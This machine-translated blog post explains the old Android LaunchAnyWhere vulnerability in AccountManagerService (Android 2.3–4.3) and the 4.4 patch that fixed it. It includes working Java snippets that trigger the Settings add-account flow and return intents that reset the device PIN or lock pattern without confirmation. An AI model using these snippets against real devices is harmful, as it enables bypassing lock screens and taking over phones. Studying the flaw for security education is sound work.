foreword
In March this year, Kaspersky Lab, a well-known anti-virus software company, released an investigation report on the Chinese e-commerce platform Pinduoduo, claiming that the platform’s installer contained malicious code. This news has aroused widespread concern and discussion, and has also raised concerns about the security of the Pinduoduo platform.
As a technical developer, I have seen PDD's deep dive into vulnerabilities in Android OEM source code.
Understanding and learning
Android
the principles of vulnerabilities has the following benefits:
-
Improve application security: By understanding the principles of vulnerabilities, developers can better understand the mechanism of vulnerabilities, and then take corresponding security measures in the application development process to avoid the occurrence of vulnerabilities and improve application security.
-
Improve application quality: Learning the principle of vulnerabilities can help developers better understand the working principle of
Android
the platform , gain a deep understanding of the internal mechanism of the operating system, and help develop high-quality applications. -
Improve code style: Learning the principles of vulnerabilities can help developers better understand how and how the code works, thereby improving the readability and maintainability of the code.
-
Understand security protection technologies: Learning the principles of vulnerabilities can help developers understand the current mainstream security protection technologies and master the best practices of security protection, so as to better ensure the security of applications.
In short, understanding and learning Android
the principle of vulnerabilities can help developers better understand the internal mechanism of the operating system and improve the security, quality and maintainability of applications.
LaunchAnyWhere Vulnerabilities
This is a AccountManagerService
loophole. Using this loophole, we can arbitrarily invoke any unexported component Activity
, breaking through the limitation of component access isolation between processes. The Android system affected by this vulnerability 2.3 ~ 4.3
.
Some students may have some doubts when they see this. Isn't this loophole
Android4.3
solved in the future? What I'm trying to say is that to understand youstartAnyWhere
need to understand its history, andLaunchAnyWhere
vulnerabilities are arguably part of its history.
When an ordinary application (denoted as AppA) requests to add a certain type of account, it will call AccountManager.addAccount
, and then it will search for the class AccountManager
of the application (denoted as AppB) that provides the account , and call the method; AppA will then call the account of AppB according to the Intent returned by AppB login interface.Authenticator
Authenticator. addAccount
About AccountManagerService
AccountManagerService
It is also one of the system services, and the interface exposed to developers is AccountManager
. This service is used to manage various network accounts of users. This allows some applications to obtain the token of the user's network account, and use the token to call some network services. Many applications provide account authorization functions, such as WeChat, Alipay, email Google services, and so on.
For AccountManager
the usage, you can refer to the Demo of Launchanywhere: https://github.com/stven0king/launchanywhere.git
Since there must be differences in the login methods and token acquisition mechanisms of various accounts, AccountManager
the identity verification is also designed in a pluggable form: account verification is implemented by providing account-related applications. The application that provides the account can implement a set of login UI by itself, receive the user name and password; request its own authentication server to return one token
; and cache the token AccountManager
.
You can see the applications that can provide network accounts in the system from "Settings -> Add Account":
If the application wants to appear on this page, the application needs to declare an account authentication service AuthenticationService
:
<service android:name=".AuthenticationService"
android:exported="true"
android:enabled="true">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>
And provide one in the service Binder
:
public class AuthenticationService extends Service {
private AuthenticationService.AccountAuthenticator mAuthenticator;
private AuthenticationService.AccountAuthenticator getAuthenticator() {
if (mAuthenticator == null)
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
return mAuthenticator;
}
@Override
public void onCreate() {
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
}
@Override
public IBinder onBind(Intent intent) {
Log.d("tanzhenxing33", "onBind");
return getAuthenticator().getIBinder();
}
static class AccountAuthenticator extends AbstractAccountAuthenticator {
/****部分代码省略****/
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
Log.d("tanzhenxing33", "addAccount: ");
return testBundle();
}
}
}
Declare account information:authenticator.xml
<?xml version="1.0" encoding="utf-8"?>
<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
android:accountType="com.tzx.launchanywhere"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
</account-authenticator>
Vulnerability principle
When an ordinary application (denoted as AppA) requests to add a certain type of account, it will call it AccountManager.addAccount
, and then it will search for the class AccountManager
of the application (denoted as AppB) that provides the account , and call the method; AppA will call the account login of AppB according to the return of AppB interface.Authenticator
Authenticator.addAccount
Intent
This process is shown in the figure:
We can convert this process into a simpler fact:
- AppA requests to add a specific type of network account
- The system inquires that AppB can provide a network account service of this type, and the system initiates a request to AppB
- AppB returns an intent to the system, and the system forwards the intent to appA
- AccountManagerResponse calls startActivity(intent) in the process space of AppA to call up an Activity;
- AccountManagerResponse is the code in FrameWork, and AppA has no knowledge of this call.
The original intention of this design is AccountManagerService
to help AppA find the login page of AppB account and invoke this login page. AccountManagerResponse
The problem is that AppB can arbitrarily specify the component pointed to by this intent, and AppA will call one without knowing it Activity
. If AppA is a system permission application, for example Settings
, then AppA can call any unexported component specified by AppB. Activity
.
how to use
As mentioned above, if AppA is assumed to be Settings, AppB is an attack program. Then as long as the Settings can trigger the addAcount operation, AppB can be launchedAnyWhere. The question is, how can the Settings trigger to add an account? If it is triggered from the "Settings->Add Account" page, the user needs to manually click to trigger, so the success rate of the attack will be greatly reduced, because ordinary users seldom add accounts from here, and users are often used to directly from the application itself login.
But it is too early to give up now, in fact, Settings has already left us a trigger interface. As long as we call com.android.settings.accounts.AddAccountSettings
and bring Intent
specific parameters, ``Settings can be triggered launchAnyWhere
:
Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {
"自己的账号类型"};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);
This process is shown in Figure Step 0:
Application Scenario
The main attack objects are still not exported in the application Activity
, especially those that contain intenExtra
some Activity
. The following are just some simple examples. The harm of this vulnerability depends on which one you want to attack Activity
, and there is still room for exploitation. For example, attacking many apps that are not exported webview
, combined with FakeID
or JavascriptInterface
such browser vulnerabilities can cause code injection execution.
reset pin code
- Bypass the pin code authentication interface and directly reset the phone system pin code.
intent.setComponent(new ComponentName("com.android.settings","com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
reset lock screen
Bypass the original lock screen verification and directly reset the phone's lock screen password.
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
Bug fixes
Android 4.4 has fixed this vulnerability. Check whether the Activity and AppB pointed to by the intent returned in Step3 have the same signature. Avoid the possibility of luanchAnyWhere.
Android4.3 source code: http://androidxref.com/4.3_r2.1/xref/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java
Android4.4 source code: http:// Diff of androidxref.com/4.4_r1/xref/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java
official website vulnerability repair: https://android.googlesource.com/platform/frameworks/base/ +/5bab9da%5E%21/#F0
The article is all told here, if you have other needs to communicate, you can leave a message~!
PS: Does the story end here?
There was no problem with this patch at the time, but until 2017, some overseas researchers found in a malicious sample that deserialization could be used to
Parcelable
bypass this patch, becausesystem_server
to check Intent in , and passedAIDL
toSettings
Then start the interface, which crosses the process boundary, which also involves a serialization and deserialization process. If we use theParcelable
byte misalignment of the deserialization vulnerability and the precise layout, we will not find it whensystem_server
checking.Intent
ThisIntent
, but it can be found just after the misplacementSettings
, so that the patch can be bypassed and implemented againLaunchAnyWhere
. The researchers named the exploit method discoveredBundle mismatch
.
If you are interested, you can continue to read the following articles:
Bundle data structure and deserialization analysis
Bundle Fengshui- Android Parcel Serialization and Deserialization Mismatch Series Vulnerabilities
reference: